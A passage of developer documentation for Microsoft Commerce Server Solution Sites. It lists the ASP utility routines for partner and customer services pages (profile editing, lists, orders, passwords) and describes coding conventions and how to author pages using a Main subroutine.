This function serves as a wrapper function for the htmRenderEditPage function, and renders the edit page contents.
htmInsertProfile
This function renders the edit page by calling the htmRenderEditPage function if the profile has been successfully inserted during the profile save operation that calls this function; otherwise, it renders the edit page by calling the htmRenderBlankEditPage function.
htmSaveActionHandler
This function checks if the user is saving profiles returned by the search criteria in the corresponding list page, then calls an appropriate handler to handle the following cases: SELECTALL_ACTION; ADD_ACTION; COPY_ACTION; EDIT_ACTION.
htmSaveAllActionHandler
This function renders the "Save All" action output.
htmSaveProfiles
This function renders the "Save Profiles" action output.
htmSelectActionHandlerForEdit
This function renders the "Select" action.
htmSelectedActionHandlerForEdit
This function renders the "Selected" action.
PrepareAddAction
This sub initializes its five parameters in preparation for adding a user in Partner Services.
PrepareCloseAction
This sub prepares for the call to the function htmCloseActionHandler by initializing the values of all of the passed parameters other than the first two.
PrepareCopyAction
This sub prepares for the call to the function htmCopyActionHandler by initializing the values of all of the passed parameters other than the first two.
PrepareDeleteAction
This sub prepares for the call to the function htmDeleteActionHandler by initializing the values of the last two parameters.
PrepareDeleteAllAction
This sub prepares for the call to the sub DeleteAllActionHandler by initializing the value of its one parameter.
PrepareDeselectAllAction
This sub prepares for the call to the sub DeSelectAllActionHandler by initializing the value of its one parameter.
PrepareEditAction
This sub prepares for the call to the function htmEditAction by initializing the values of the last two parameters.
PrepareEditAllAction
This sub initializes the parameters passed to it.
PrepareInsertProfile
This sub prepares for the call to the function htmInsertProfile by initializing the values of all parameters other than sSubAction and sProfileIDs.
PrepareSaveAction
This sub currently performs no processing at all, but is called before calls to the function htmSaveActionHandler. If you modify the latter function and need to perform special preparation before calling it, consider adding the preparation code to this function.
PrepareSaveAllAction
This sub prepares for the call to the function htmSaveAllActionHandler by initializing the values of the parameters passed to it. When the profile changes are found to be valid, the sub SaveAllSelectedProfiles is called to save the changes.
PrepareSaveProfiles
This sub prepares for the call to the function htmSaveProfiles by initializing the values of all parameters passed to it other than the first three.
PrepareSelectActionHandlerForEdit
This sub prepares for the call to the function htmSelectActionHandlerForEdit by initializing the values of all parameters passed to it other than the first three.
PrepareSelectAllAction
This sub prepares for the call to the sub SelectAllActionHandler by initializing the value of the sProfileListPage parameter.
PrepareSelectedAction
This sub prepares for the call to the function htmSelectedActionHandlerForEdit by initializing the values of the last three parameters.
SelectAllActionHandler
This sub provides the "Select All" action handler.

services\include\render_edit_blank.asp

The following customer and partner services utility routines are related to preparing blank edit page content for rendering, and are defined in this file:

formRenderBlankEditPageBody
This function prepares the HTML that will render a blank profile editing form.
htmRenderBlankEditPage
This function renders a blank edit page for any profile.
rowRenderBlankProperty
This function prepares the HTML that will render a row in a table that corresponds to a blank property. This row contains three cells: either an image or a checkbox, the display name, and the value, respectively.
tableRenderBlankProfile
This function prepares the HTML that will render tables for blank editing pages.

services\include\render_edit_common.asp

The following customer and partner services utility routines are related to preparing edit page content for rendering, and are defined in this file:

colRenderForeignKeyProperty
This function renders hidden fields that contain a variety of content, depending on whether a pre-existing profile exists, whether a new profile is being created, and so on. A button is rendered to allow the user to submit the selected information.
colRenderPasswordProperty
This function prepares the rendering of the value for the user_security_password property.
colRenderPrimaryKeyProperty
This function prepares the rendering of the value for the primary key property.
colRenderProperty
This function prepares the rendering of a property.
colRenderPropertyTip
This function prepares a warning message for a property that fails validation.
colRenderUniqueKeyProperty
This function prepares the rendering of the value for the unique key property.
formRenderEditPageBody
This function prepares the HTML that will render a profile editing form.
htmRenderEditPage
This function renders the contents of any EDIT-type page.
rowRenderHiddenProperty
This function prepares the HTML that will include hidden properties as INPUT elements with their TYPE attribute set to "HIDDEN".
rowRenderProperty
This function prepares the HTML that will render a row in a table that corresponds to a property that is accessible to the current user. This row contains three cells: either an image or a checkbox, the display name, and the value, respectively.
rowRenderPropertyGroup
This function prepares the HTML that will render a row containing a property group heading.
rowRenderPropertyTip
This function examines the specified property, and if found to have an error associated with it, adds a table row that displays an error message in the third of three cells.
rowRenderReadOnlyProperty
This function prepares the HTML that will render a row in a table that corresponds to a read-only property. This row contains three cells: blank, the display name, and the value, respectively.
sRenderHTMLPreFixForProperty
This function renders the "Required" icon or check box (for multi-edits) before each property in an EDIT-type page.
tableRenderEditPageTasks
This function renders tasks buttons for the current page.
tableRenderProfiles
This function renders an edit page for a profile.
varGetPropertyValue
This function determines the profile property value to display.
varGetValueFromPropertyDictionaries
This function gets the property value from a list of property dictionaries.
varGetValueFromRequestObject
This function gets the property value from the underlying Request object (URL or HTML FORM).
varUpdateValueForCurrentAction
This function gets the property value based on the current action type as stored in the global variable sAction.


Services List Page Routines

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

services\include\list_handlers.asp

The following customer and partner services utility routine is related to handling list page processing, and is defined in this file:

SelectedActionHandlerForList
This sub provides the "Selected" action handler for a LIST-type page.

services\include\render_list.asp

The following customer and partner services utility routines are related to preparing list page content for rendering, and are defined in this file:

arrPopulateProfileDetails
This function populates an array with the properties of a profile.
formRenderListPageContents
This function prepares the HTML that will render a profile list form.
formRenderProfileSearchOptions
This function prepares the HTML that will render either a simple or advanced profile searching form, based on the value of the request variable QUERY_STRING_CRITERIA.
htmRenderProfilesList
This function renders the contents for any LIST-type page.
htmRenderUniqueIDForProfile
This function adds a globally unique profile identifier to the LIST page.
RelocateRecordPointer2
This sub initializes local variables used in the paging mechanism of the page that lists profiles. It also sets the current record in the Recordset object specified by the rs parameter to the beginning of the specified page number.
rowRenderListHeading
This function prepares the HTML that will render the header row for a table of profile properties, skipping properties that are designated as not to be shown.
rowsRenderAdvanceSearchOptionsForProfiles
This function prepares the HTML that will render a series of rows in a table where each row allows advanced search criterion for profiles to be specified.
rowsRenderSimpleSearchOptionsForProfiles
This function prepares the HTML that will render a series of rows in a table where each row allows simple search criterion for profiles to be specified.
tableRenderListPageTasks
This function renders tasks specific to LIST-type pages.
tableRenderMultipleRecords
This function adds list contents to the current page.


Services Initialization Routines

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

services\include\global_service_lib.asp

The following customer and partner services utility routines are related to application initialization, and are defined in this file:

AddPartnerAndCustomerServicePages
This sub assigns friendly names to pages used by Customer and Partner Services.
AddPartnerAndCustomerServiceStyles
This sub adds styles used by Customer and Partner Services.
GetPartnerAndCustomerServicePageAttributes
This function retrieves the properties for all Partner and Customer Services pages.

services\include\initialize.asp

The following customer and partner services utility routines are also related to initialization, and are defined in this file:

InitializePartnerDesk
This sub initializes its parameters for use in all Customer and Partner Services pages.
sGetAction
This function determines the action to be taken for the current page.
sGetIDFromForm
This function loops through the FORM collection to determine the selected profiles.
sGetSelectedIDs
This function gets the profile IDs.
sGetSubAction
This function gets the sub action.


Services Message Box Routines

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

services\include\messagebox_handlers.asp

The following customer and partner services utility routines are related to handling the presentation of message boxes, and are defined in this file:

htmSaveChangesConfirmationHandler
This function renders the "Save Changes Confirmation" action.
PrepareSaveChangesConfirmation
This sub prepares for the call to the function htmChangePasswordActionHandler by initializing the values of all parameters passed to it other than the first. This sub is also called by PrepareSelectActionHandlerForEdit to help initialize its parameters.

services\include\render_messagebox.asp

The following customer and partner services utility routines are related to preparing message box content for rendering, and are defined in this file:

htmRenderMessageBoxForCancel
This function renders the message box page for a cancel action.
htmRenderMessageBoxForDelete
This function renders the message box page while deleting entity records.
htmRenderMessageBoxForDeleteAll
This function renders the message box page for a "DeleteAll" action.
htmRenderMessageBoxForSave
This function renders the message box page with save options.
htmRenderMessageBoxForSelect
This function renders the message box page for a "Select" action.
htmRenderMessageBoxPage
This function renders the message box page.
rowRenderMessageBoxPageContents
This function prepares the HTML that will render the contents for the message box page.
tableRenderMessageBoxPage
This function renders a message box page.
tableRenderMessageBoxPageButtons
This function renders the message box page submit buttons.


Services Miscellaneous Routines

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

services\include\lib.asp

The following customer and partner services utility routines provide a variety of miscellaneous processing assistance, and are defined in this file:

bCheckIfThePropertyFeatureIsSupported
This function determines whether the featureID attribute for the specified property is set.
bInvalidDate
This function determines whether a given date is not valid.
bValidateLoginNameChars
This function validates the characters in a login name.
bValidatePasswordChars
This function validates the characters in the string specified by the sPassword parameter.
CheckIfOrderExists
This sub redirects the user or delegated administrator to the services\error\noorder.asp page if the specified order does not exist.
CheckIfProfilesExist
This sub determines whether the specified profiles exist.
dictGetpropertyFromList
This function retrieves the specified property from a list of properties.
dictGetSearchDictionaryForPage
This function retrieves the filter criteria for the current user and page.
GetSearchDictionaryForThisPage
This function stores and retrieves the search criteria for the current user and current page.
iGetCountOfProfiles
This function returns –1 if the sSubAction parameter is equal to the constant SELECTALL_ACTION. Otherwise, it returns the number of profiles in the string specified by the sProfileIDs parameter.
iGetCurrentUserPropertyAccessClass
This function is used in Partner Services to determine whether the current user is a registered user, and if the user is anonymous or a delegated administrator.
InitializePagingVariables
This sub initializes paging variables for Customer and Partner Services. The iPageNumber and iTotalPages parameters are initialized based on the values of the sAction and bIsProfilePage parameters.
listCloneProfileSchema
This function creates and returns a SimpleList object that contains a copy of the profile schema associated with the page specified by the sPageName parameter.
listGetValidPropertiesForMultiEdit
This function creates, initializes, and returns a SimpleList object that contains those profile properties from the SimpleList object specified by the listProfileSchema parameter that are valid participants in the current multi-edit operation.
listReConstructPropertiesSchema
This function reconstructs the profile schema to include the properties that have failed validation.
PopulateOrderSearchCriteria
This sub retrieves search criteria related to an order from the HTTP request and places it into the passed Dictionary object. It also performs validation for some date-related criteria.
PopulateProfileSearchCriteria
This sub retrieves search criteria related to a profile from the HTTP request and places it into the passed Dictionary object. It also performs validation for some date-related criteria.
ReDirectToPage
This sub generates a URL for the specified page and appends name/value argument pairs based on the corresponding values in the arrKeys and arrValues array parameters. It then redirects the user using the constructed URL.
RelocateRecordPointer
This sub initializes local variables used in the paging mechanism of the page that lists orders. It also sets the current record in the Recordset object specified by the rs parameter to the beginning of the specified page number.
SetGlobalPagingVariables
This sub sets the global paging variables depending on the local variables passed to the sub.
sGetDisplayValueForProperty
This function gets the display text for properties of type Number.
sGetOrderStatusDetails
This function gets the description for the order status code.
sGetParentDN
This function gets the ParentDN property related to an organization.
sGetSelectActionPropertyName
This function gets the property name for the Select Action button that was clicked.
sGetThisPageProperty
This function gets the page properties.
sGetUserAccessForThisProperty
This function returns the current user access privileges for this property.
sGetUserPartnerDeskRole
This function gets the i_partnerdeskroleflags description for the user.
sGetUserStatus
This function gets the status code description for the user.
TDTag
This function prepares the HTML that will render a data cell in an HTML table.
THTag
This function prepares the HTML that will render a header cell in an HTML table.
TRTag
This function renders a table row.
ValidateFields
This function validates submitted profile form fields retrieved from the HTTP request using the profile schema specified by the listCtrls parameter.

services\include\render_common.asp

The following customer and partner services utility routines are related to the preparation of content for rendering, and are defined in this file:

cellRenderReadOnlyProperty
This function prepares a read-only property to be rendered.
colRenderAdvancedSearchTab
This function adds the advanced search option tab to list-type pages.
colRenderCountryNames
This function prepares the rendering of all country names.
colRenderSimpleSearchTab
This function adds the simple search option tab to list-type pages.
formRenderPagingButtons
This function prepares the HTML that will render paging buttons. These buttons are wrapped in a form that gets posted when a paging button is clicked.
htmRenderBlankSpaces
This function renders HTML blank spaces (&nbsp).
htmRenderBoolean
This function renders a check box corresponding to a Boolean property.
htmRenderCountries
This function renders all the country names in an HTML combo box.
htmRenderEmptyRecordSet
This function renders the HTML table for an empty recordset.
htmRenderOrderDateTypes
This function renders the order date type for both user and organization orders.
htmRenderOrderStatusOptions
This function renders the order status options.
htmRenderPartnerDeskRoles
This function renders the user i_PartnerDeskRoleFlags options.
htmRenderSelectEndTag
This function renders the HTML end select tag, </SELECT>.
htmRenderSelectTag
This function renders the select tag.
htmRenderSiteTerm
This function renders a list box corresponding to a SiteTerm property.
htmRenderUserStatusOptions
This function renders the user status options.
rowRenderEditSheetBlankLine
This function prepares the HTML that will render a blank line in an edit sheet table.
rowRenderHeader
This function allows you to put a common toolbar (containing, for example, a Help button) at the top of every page. It currently does nothing.
rowRenderSearchOptionForDate
This function prepares the HTML that will render a row in a table that contains two columns: the property display name, and a pair of text boxes that correspond to a starting and ending date.
rowRenderSearchOptionForInteger
This function prepares the HTML that will render a row in a table that contains two columns: the property display name, and a list box displaying options appropriate for one of four possible properties: user status, partner services role, order status, and types of dates associated with the order.
rowRenderSearchOptionForString
This function prepares the HTML that will render a row in a table that contains two columns: the property display name, and a text box for entering a string value for which to search.
rowRenderStatusInfo
This function prepares the HTML that will render a row in a table that contains one column in which status information is placed based on the values of the parameters.
sGetPageHeading
This function gets the page heading.
sReConstructPageURL
This function re-constructs the page URL and replaces the key values.
sReplaceString
This function replaces or adds the value for a key in a query string with a new value.
tableRenderFooterInfo
This function renders footer information for the current page.


Services Order Routines

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

services\include\logic_orders.asp

The following customer and partner services utility routines are related to orders and discount logic, and are defined in this file:

AddDiscountMessages
This sub adds a footnote symbol for each discount applied to each line item. The footnote symbol is a "D" plus the campaign ID.
mscsGetOrderGroupWithDiscountsByID
This function retrieves the OrderGroup object associated with the current user, loads the order specified by the iID parameter, adds discount messages, and then returns a reference to the OrderGroup object.
PrepareOrderList
This sub prepares for the calls to the routines formRenderOrderSearchOptions, formRenderOrdersListContents, rowRenderStatusInfo, and tableRenderFooterInfo by initializing the values of all parameters other than the first.
sGetAddressName
This function gets the address name field of the specified address ID in the specified order group.
sGetPaymentMethodString
This function returns the friendly, localizable version of the payment method identifier as a string.

services\include\order_handlers.asp

The following customer and partner services utility routines are related to handling orders, and are defined in this file:

CloseOrderDetailsActionHandler
This sub handles the "close order details" action.
htmOrderDetailsActionHandler
This function provides rendering for the "Order details" action handler.
htmRenderOrderDetailsForIDs
This function redirects the user back to the order list page, because multiple orders cannot be viewed at once.
PrepareCloseOrderDetailsAction
This sub prepares for the call to the sub CloseOrderDetailsActionHandler by initializing the values of the passed parameters.
PrepareOrderDetailsAction
This sub prepares for the call to the function htmOrderDetailsActionHandler by initializing the value of the iProfileCount parameter.
RedirectOrderDetailsForIDs
This sub is used to redirect the user to a page from which they can choose which order to retrieve details for.

services\include\render_orders.asp

The following customer and partner services utility routines are related to preparing password-related content for rendering, and are defined in this file:

arrPopulateOrderHeaderDetails
This function populates an array with the details of an order in preparation for rendering.
formRenderOrderContents
This function prepares the HTML that will render an order details form.
formRenderOrderSearchOptions
This function prepares the HTML that will render either a simple or advanced order searching form, based on the value of the sCriteria parameter.
formRenderOrdersListContents
This function prepares the HTML that will render an orders list form.
htmRenderOrderDetails
This function renders the order details.
htmRenderOrderList
This function renders the order list.
rowRenderAdvancedSearchOptionsForOrders
This function prepares the HTML that will render advanced search options within the orders form in Partner Services.
rowRenderLineItemHeader
This function prepares the HTML that will render the header row for a table of line items in an order.
rowRenderListHeadingForOrders
This function prepares the HTML that will render the header row for a table of orders.
rowRenderSimpleSearchOptionsForOrders
This function prepares the HTML that will render simple search options within the orders form in Partner Services.
sRenderAddress
This function renders an address dictionary.
tableRenderOrdersListContents
This function renders a table of orders, including hidden fields containing the order number for each record.
tableRenderOrdersListTasks
This function renders a toolbar containing tasks that can be performed on an order in the list. By default, this will show a button displaying the text stored in the MessageManager L_ORDERDETAILS_ACTION_BUTTON message and allows the user to see order details.
tblOrderDetailsTasks
This function renders a CANCEL_ACTION button for use in rendering the order details, and is used when the user wants to close the displayed page.
tblRenderOrderDetailsContents
This function displays order header and line items in an table format.

services\include\requisition.asp

The following customer and partner services utility routines are related to order processing, and are defined in this file:

rsGetOrderDetails
This function retrieves the detailed information for the specified order and returns the result as a Recordset object.
rsGetOrdersList
This function retrieves orders based on the specified filter criteria and returns the result as a Recordset object.


Services Password Routines

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

services\include\password_handlers.asp

The following customer and partner services utility routines are related to handling changes to passwords, and are defined in this file:

ChangeActionHandler
This function handles the "change password" action.
htmCancelUpdatePasswordAction
This function cancels the update of the user_security_password property of the user.
UpdatePasswordActionHandler
This function saves the user_security_password property for the user.

services\include\render_password.asp

The following customer and partner services utility routines are related to preparing password-related content for rendering, and are defined in this file:

formRenderChangePasswordPageContents
This function prepares the HTML that will render the change password form.
htmRenderChangePasswordPage
This function renders the change password page.
tableChangePasswordTasks
This function renders Save and Close buttons with their appropriate text messages wrapped in a table.
tableRenderChangePasswordContents
This function renders the Password Change edit page.


Services Profile Routines

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

services\include\check_profile.asp

The following customer and partner services utility routines are related to checking profiles, and are defined in this file:

bCheckIfProfileExists
This function determines whether a specific user profile already exists.
bIsPropertyValueAdded
This function determines if any property values were added in the edit page.
bProfileHasChanged
This function checks whether the posted values for a profile are different than the values for the profile in the Profile store.

services\include\delete_profiles.asp

The following customer and partner services utility routines are related to deleting profiles, and are defined in this file:

DeleteAllProfiles
This sub deletes all the selected profiles. It also deletes all the profiles returned by the search criteria in the corresponding list page.
DeleteRegisteredUser
This sub deletes a specific registered user profile.
DeleteSelectedProfiles
This sub deletes all the selected profiles.
DeleteSingleProfile
This sub deletes the specified profile.
sGetWhereClauseForCurrentUser
This function gets the WHERE clause for the current user.

services\include\get_profiles.asp

The following customer and partner services utility routines are related to retrieving profiles, and are defined in this file:

GetAttributeValueFromProfile
This function retrieves a property value from a profile.
GetOrgAttributeFromID
This function returns the value of the specified property for an Organization profile.
GetUserPropertyFromID
This function returns the value of a property from the profile of a user.
rsGetOrgDetails
This function retrieves detailed information about the specified organization and returns the result as a Recordset object.
rsGetProfileDetails
This function retrieves detailed information about the specified user or organization profile and returns the result as a Recordset object. It serves as a dispatch function for the functions rsGetOrgDetails and rsGetUserDetails, which do the real work.
rsGetProfilesList
This function retrieves a set of user profiles based on the specified filter criteria, returning the result as a Recordset object.
rsGetUserDetails
This function retrieves the profile for the specified user, and returns the results in a Recordset object.
sGetUserFullName
This function gets the full name (last name + first name) of the user.
sGetUserLoginName
This function gets the login name of a user.

services\include\profiles_common.asp

The following customer and partner services utility routines are related to common profile processing, and are defined in this file:

GetODBCTimeStamp
This function converts a date variant to an Open Database Connectivity (ODBC) timestamp format { ts 'yyyy-mm-dd hh:mm:ss' }.
GetTableNameAndWhereClause
This sub gets the database table name and uses a WHERE clause to search for a given organization ID.
HandleSingleQuote
This function replaces a single quote with a double quote for processing profiles.
sAddCriteriaToQuery
This function builds a Transact-SQL statement.
sAddEndDate
This function adds an End Date clause.
sAddSetClause
This function adds a Set clause.
sAddSQLNumber
This function adds an AND clause for a property of type Number.
sAddSQLString
This function adds an AND "property LIKE value" clause for a property of type String.
sAddStartDate
This function adds a Start Date clause.
sConstructWHEREclause
This function constructs a WHERE clause.

services\include\save_all_profiles.asp

The following customer and partner services utility routines are related to saving all profiles, and are defined in this file:

AddSetClauseAndUpdateUserAccountControl
This function updates the PartnerDeskRole property in the profile of the user.
GetUserAccountControl
This function determines whether to update the User Account Status and User Partner Desk Role properties.
sAddWhereClauseForActiveUsers
This function adds an AND or WHERE "USER_STATUS = ACCOUNT_ACTIVE" clause.
sAddWhereClauseForPartnerRole
This function adds an AND or WHERE "FIELD_USER_PARTNERDESK_ROLE = iPartnerDeskRole" clause.
SaveAllSelectedProfiles
This sub saves all selected profiles.
UpdateUserAccountControlProperty
This function updates the user_account_control property of the profile based on the iPartnerDeskRole and dictSearchOptions parameters.

services\include\save_one_profile.asp

The following customer and partner services utility routines are related to saving a single profile, and are defined in this file:

bHandlePaintingACLsForUsersInAD
This function handles painting of appropriate access control lists (ACLs) for users in Active Directory (adding the users to/from the appropriate Active Directory groups, for example, ADMINGROUP or USERGROUP).
bInsertProfile
This function validates the login name and password of a user and, if successful, creates a new profile.
bInsertProfileDetails
This function inserts property values into an empty profile.
bInsertProperty
This function checks whether the specified property is supported for the user and, if so, adds it to the profile.
bSaveProfileAndRedirect
This function updates the profile properties and redirects the delegated administrator to the services\partner\users.asp page.
bSaveProfileDetails
This function saves the value of each property in the profile. If this is a user profile and Active Directory is used, the access control lists (ACL) are updated.
bSaveProperty
This function saves the specified property.
bSaveReadWriteProperty
This function saves a read/write property.
GetActiveUsersOnly
This function examines the semicolon-separated list of user profile IDs, and returns a similar list containing only those user profile IDs that correspond to users that have an account status of ACCOUNT_ACTIVE.
InsertHiddenProperty
This sub copies particular, hidden properties from the current user profile to the specified profile Recordset object. Currently, only the organization ID of the user can be copied.
SaveCommonValueForAllSelectedRecords
This sub saves a common value to all the selected records.
SaveProfileProperty
This sub saves a property value in a profile.
SaveReadOnlyProperty
This sub saves any read-only property.
SaveSAMAccountNameProperty
This sub saves the SAMAccountName property.
SaveUserAccountControlProperty
This sub saves the User Account Control property (Active Directory specific).
SaveUserParentDNProperty
This sub saves the User ParentDN property (Active Directory specific).
SaveUserPartnerDeskRoleProperty
This sub saves the User Partner Desk Role property.
SaveUserPropertyForID
This sub saves the User property for a user ID.
sGetAdminsOnly
This function determines which users specified by the input parameter sProfileIDs are administrators (for example, the FIELD_USER_PARTNERDESK_ROLE is specified as ROLE_ADMIN) and returns a string that contains the profile IDs of those administrators.
sGetUsersOnly
This function determines which users specified by the input parameter sProfileIDs are users (for example, do not have an admin profile) and returns a string that contains the profile IDs of those users.
UpdateSelectActionPropertyName
This function updates properties changed by the user. The fields associated with the selected properties are updated, as well as the "changed by" and "date updated" values.
UpdateUserPasswordProperty
This sub updates the user password property depending on the current user type (DELEGATED_ADMIN or USER).


Site Development Using Solution Sites

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

Although all of the Commerce Server Solution Sites documentation ultimately concerns site development, the topics in this section are oriented toward starting with the existing Solution Sites and modifying them to suit your own business needs.

This section contains:

  • Coding Conventions for Solution Sites. Describes the coding conventions used in the Solution Sites.
  • Page Authoring for Solution Sites. Describes what you need to do to author new pages in a manner consistent with the existing pages.
  • Page Layout Customization for Solution Sites. Describes how to customize the layout of existing and new pages.
  • About Customizing HTML Styles for your Solution Site. Describes the HTML styles used to customize the Solution Sites.
  • Debugging Resources. Describes where to find information about how to debug Active Server Pages (ASP) applications.
  • Optimizing Tools and Techniques. Describes how to optimize the performance of the Solution Sites.


Coding Conventions for Solution Sites

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

Variables and file names in the code for the Solution Sites are named using common conventions. All variables in the code for the Solution Sites can be identified by their prefix. The prefixes used in naming local variables, framework variables, dictionary variables, and file names are defined in the following tables.

Local Variables

Framework Variables

Dictionary Variables

File Name Prefixes

Local Variables

The following table lists the base types used in naming local variables in the code for the Solution Sites.

Prefix | Description
arr | Signifies an array
b | Signifies a boolean
f | Signifies a flag
htm | Signifies an HTML string
i | Signifies an integer
list | Signifies a SimpleList
o | Signifies an object
s | Signifies a non-HTML string

Framework Variables

The following table lists the prefixes used to name framework variables in the code for the Solution Sites.

Prefix | Description
MSCS | Initialized with values from application scope variables.
mscs | Signifies that the variable holds page-scope objects.
m_ | Signifies that the variable holds private page-scope values.

Dictionary Variables

The following table lists the prefix used to name dictionary variables in the Solution Sites code.

Prefix | Description
dict | Signifies the variable is a dictionary variable.

File Name Prefixes

The following table lists the prefix used to name files in the Solution Sites code.

Prefix | Description
_ | Signifies that there is no user interface for the file. This convention only applies to files in the <site name> folder, and not to files in the <site name> subdirectories.


Page Authoring for Solution Sites

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The Commerce Server Solution Sites implement Web site pages using a structured approach that uses the same page execution model for all pages. For more information about this page execution model, see Page Execution Model for Solution Sites. An adequate understanding of the page execution model is crucial to proper page authoring.

Page authoring consists of creating a page that includes the correct files in the correct order, and which then contains the implementation of a subroutine named Main. Ultimately, this subroutine has a single job to do: initialize particular variables to strings that contain the HTML that will produce the desired content areas when rendered. These variables include htmPageContent, htmDiscountBannerSlot, and any variables defined for new custom content areas. The topics in this section provide additional information about this page-authoring scheme.

This section contains:

  • Including Files in Solution Sites
  • Implementing the Main Subroutine for Solution Sites
  • Implementing Support Routines for Solution Sites
  • Controlling Access to Solution Site Pages
  • Initializing the htmPageContent Variable

See Also

Page Execution Model for Solution Sites


Including Files in Solution Sites

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The first step in authoring a new Web page for your site consists of including the appropriate files in the correct order.

Files should be included using the following inclusion directive:

<!-- #INCLUDE FILE="include/filename.asp" -->

The files to be included can be divided into the following six categories:

  1. Response header information and pipeline choice. You should include one of the two files include\header.asp or include\txheader.asp, but not both. The only differences between them is that the file txheader.asp includes the transaction directive "TRANSACTION=REQUIRES_NEW", and they define the global string variable g_sPipelineProgID differently.

    The file txheader.asp defines the variable g_sPipelineProgID as "PooledTxPipeline" and the file header.asp defines it as "PooledPipeline", defining the use of a pooled pipeline with and without transactions, respectively. This variable is passed as the second parameter to the RunPipe method of the OrderGroup object in the file std_pipeline_lib.asp.

  2. Constant definitions, if any. The file include\const.asp is empty as delivered with the Solution Sites, and need not be included unless you add your own constant definitions to it that are used in the file being authored. The constants used by the existing routines in the Solution Sites are defined in the type library named appconsts.tlb. For more information, see Constants and Constants Reference.
  3. Utility routines. There are a number of include files that define utility routines in various functional categories. Depending on the functionality of the page you are authoring, you will probably end up including a fair number of the following files (the files shown in bold font are more likely to be included in every page you author):
include\addr_lib.asp | include\std_dates_lib.asp
include\analysis.asp | include\std_error_lib.asp
include\catalog.asp | include\std_ordergrp_lib.asp
include\form_lib.asp | include\std_pipeline_lib.asp
include\html_lib.asp | include\std_profile_lib.asp
include\payment.asp | include\std_string_lib.asp
include\std_access_lib.asp | include\std_url_lib.asp
include\std_cache_lib.asp | include\std_util_lib.asp
include\std_cookie_lib.asp |
The presence of these files and the large number of utility routines they provide highlight the importance of learning as much as possible about the functionality they provide. Otherwise, you could end up writing and debugging code that is already provided. For more information about the utility routines, see Utility Routines for Solution Sites and Routines Reference.
  1. Discount processing. The file template\discount.asp should be included if the page you are authoring is meant to display discount banners (as opposed to discounts displayed in the basket). If so, your page should include a line of code similar to the following, which uses the RenderDiscounts routine defined in the file template\discount.asp to initialize the variable htmDiscountBannerSlot defined in the file include\setupenv.asp.
    htmDiscountBannerSlot = RenderDiscounts(ProductAffinity, BasketAffinity, nDiscountsToShow)

    The HTML string contents of the variable htmDiscountBannerSlot are then "dumped" to the discount area of the standard page layout in the file template\layout1.asp.

  2. Variable definition and page processing. You must include the file include\setupenv.asp to use the page execution model employed by the Solution Sites. This file creates a large number of global variables, many of which are initialized to values that are stored in the Active Server Pages (ASP) Application object. Code in this file also provides basic functionality required on every page, such as user identification and host name correction. The code on the page ends by invoking a function named Main that serves as the entry point to the page-specific code that provides the HTML that gets rendered as the page you are authoring. For more information, see Implementing the Main Subroutine for Solution Sites.
  3. Page layout. The last file you should include in the page you are authoring should be one of the two files template\layout1.asp or template\no_menu.asp (but not both). The former provides the standard page layout provided with the Solution Sites and the latter provides the more minimal (no menus) layout used in some of the pages within the Solution Sites (for example, welcome.asp and login\login.asp). For more information about the page layouts provided with the Solution Sites, see Page Layout.

    You may determine that your site should use more than the two layouts included with the Solution Sites. In this case, you can develop one or more alternative layout pages, modeled on the files template\layout1.asp and template\no_menu.asp. You would then include an alternative layout page as the last include file on the page you are authoring.

See Also

Page Execution Model for Solution Sites


Implementing the Main Subroutine for Solution Sites

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

Every page you author that uses the standard page execution model supported by the Solution Sites must implement a routine called Main (implemented as a sub rather than a function). This routine is called near the end of the processing in the file include\setupenv.asp. The routine Main has several responsibilities, as follows:

  • Initialize the variable htmPageContent, which is defined in the include\setupenv.asp file. This variable should be initialized to a string containing the HTML that you want rendered in the content area of the page you are authoring.
  • Where appropriate, initialize the variable htmDiscountBannerSlot, which is defined in the include\setupenv.asp file. This variable should be initialized to a string containing the HTML that you want rendered in the discount area of the page you are authoring.
  • Where appropriate, initialize any additional variables that have been defined to pass HTML content between the routine Main and a customized layout file.
  • Whatever other processing is appropriate for the page you are authoring, such as adding items to the basket, performing checkout processing, and so on.

For example, perhaps the simplest implementation of the routine Main looks something like this:

Sub Main
    htmPageContent = "This is the content area."
End Sub

Another example, which displays the same string in bold font, looks something like this:

Sub Main
    htmPageContent = "This is the content area."

    ' Function Bold from include\html_lib.asp
    htmPageContent = Bold(htmPageContent)
End Sub

Realistically, the routine Main will be much more complex, often involving calls to Commerce Server objects, and to the various utility routines that are available when the files in which they are implemented are included in the page you are authoring. It is important to familiarize yourself with both of these types of resources so that you do not spend unnecessary time re-writing functionality that already exists. Unfortunately, there is no effortless way to gain this familiarity other than by the careful reading of the supplied documentation and examination of the existing code for the Solution Sites.

There are numerous examples of Main routines throughout the pages of the Solution Sites. You should study a number of these to familiarize yourself with how the HTML content assigned to the variable htmPageContent is created in the pages that already exist.

See Also

Implementing Support Routines for Solution Sites

Page Execution Model for Solution Sites


Implementing Support Routines for Solution Sites

Download Solution Sites from http://go.microsoft.com/fwlink/?linkid=6491.

The code required to create the page content that is assigned to the variable htmPageContent is often complex enough that good coding practices dictate that you should divide it into multiple routines. The routine Main always serves as the entry point, called by the code in the file include\setupenv.asp. To keep the routine Main from becoming too large and unwieldy, you should often create additional routines that Main calls in the course of performing its job. By convention, these routines typically appear after the routine Main in the page being authored. There are many examples of this in the pages that are delivered with the Solution Sites.

The challenge will be to determine whether the functionality supplied by any supporting routines that you create are specific to the page being authored, or are possibly more general in nature. If they are of the former type, they should be implemented directly in the page being authored. If they are of the latter type, you should create a one or more include files to contain the new utility routines. (Avoid adding new routines to the existing include files so that it is easier to upgrade new releases of the existing files.)

Another challenge is to acquire an adequate understanding of the functionality supplied by the existing utility routines so that you do not spend unnecessary time re-implementing functionality that already exists.

See Also

Implementing the Main Subroutine for Solution Sites

Page Execution Model for Solution Sites


Controlling Access to Solution Site Pages

